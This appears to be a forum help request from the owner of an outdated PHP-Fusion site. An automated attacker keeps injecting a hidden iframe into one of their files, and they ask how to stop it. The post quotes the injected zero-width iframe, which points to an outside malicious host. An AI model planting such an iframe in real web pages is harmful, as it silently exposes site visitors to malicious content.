Somehow, a "hacker crawler" is constantly inserting a harmful
iframe element into one of my files:
<iframe src="http://miaspieces.vv.cc/showthread.php?t=70830633" width="0" height="0"></iframe>
It's done automatically, and not by a person, I assume.
I've changed all my passwords several times as well as the CHMOD of the file via FTP, so I assume this is somehow done on my site (PHP-Fusion¹).
Any ideas how the crawler does this and how I can prevent it?
¹ I know the flaw is because I'm using an old version of PHP-Fusion, but I've unfortunately done too much modifying to switch to the newest version.